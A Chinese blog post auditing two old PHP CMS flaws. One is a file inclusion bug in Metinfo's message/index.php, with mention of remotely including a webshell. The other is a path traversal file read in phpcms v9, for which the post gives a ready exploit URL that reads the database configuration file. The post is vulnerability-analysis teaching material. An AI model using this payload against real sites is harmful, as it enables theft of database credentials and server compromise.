• 文件包含和文件读取漏洞代码审计


    1,Metinfo文件包含漏洞分析

    漏洞代码出现在/message/index.php文件中,代码如下:

    if(!$metid)
        $metid='index';
    if($metid!='index'){
        require_once $metid.'.php'
    }else{
        /*省略*/
    }
    

      这一段代码很简单,使用require_once函数包含了传进去的参数$metid.php文件,我们可以包含本地文件,使用截断来进行利用。

    如果是想要进行远程文件包含的话,需要服务器端的allow_url_include=on,也就是允许远程文件包含才可以,然后我们可以直接远程包含一句话木马拿shell

    2,文件读取(下载)漏洞(phpcmsv9)

    漏洞位于文件/phpcms/modules/search/index.php public_的public_get_suggest_keyword()函数

    public function public_get_suggest_keyword(){
        $url=$_GET['url'].'&q='.$_GET['q'];
        $res=@file_get_contents($url);
        if(CHARSET != 'gbk'){
            $res=iconv('gbk',CHARSET,$res);
        }
        echo $res;
    }
    

      可以看到在该函数从GET方法里面获取要读取的URL和文件,使用file_get_contents函数来读取内容,当然我们要读取任意目录的文件的话,需要使用../来实现跳级

    比如?url=&q=../../1.php,这样我们就可以利用跳级读取任意我们知道文件名的文件

    最终利用这个漏洞读取数据库配置文件的EXP是:

    /index.php?m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php
    

      感觉这两个漏洞看上去不是很难,但是在当时安全意识比较落后的时候,应该很少有人能意识到这样编写代码所造成的危害。

  • 相关阅读:
    JBOSS管理数据库连接
    PowerDesigner使用教程 —— 概念数据模型
    VC Delphi WM_COPYDATA 消息
    VC Delphi WM_COPYDATA
    DELPHI实现键盘勾子
    设置window任务管理器是否可用
    VS2005 MFC使用
    隐藏显示任务栏
    DELPHI实现键盘勾子
    MSN、腾讯QQ、SKYPE、阿里旺旺网页在线客服源代码
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12421204.html
Copyright © 2020-2023  润新知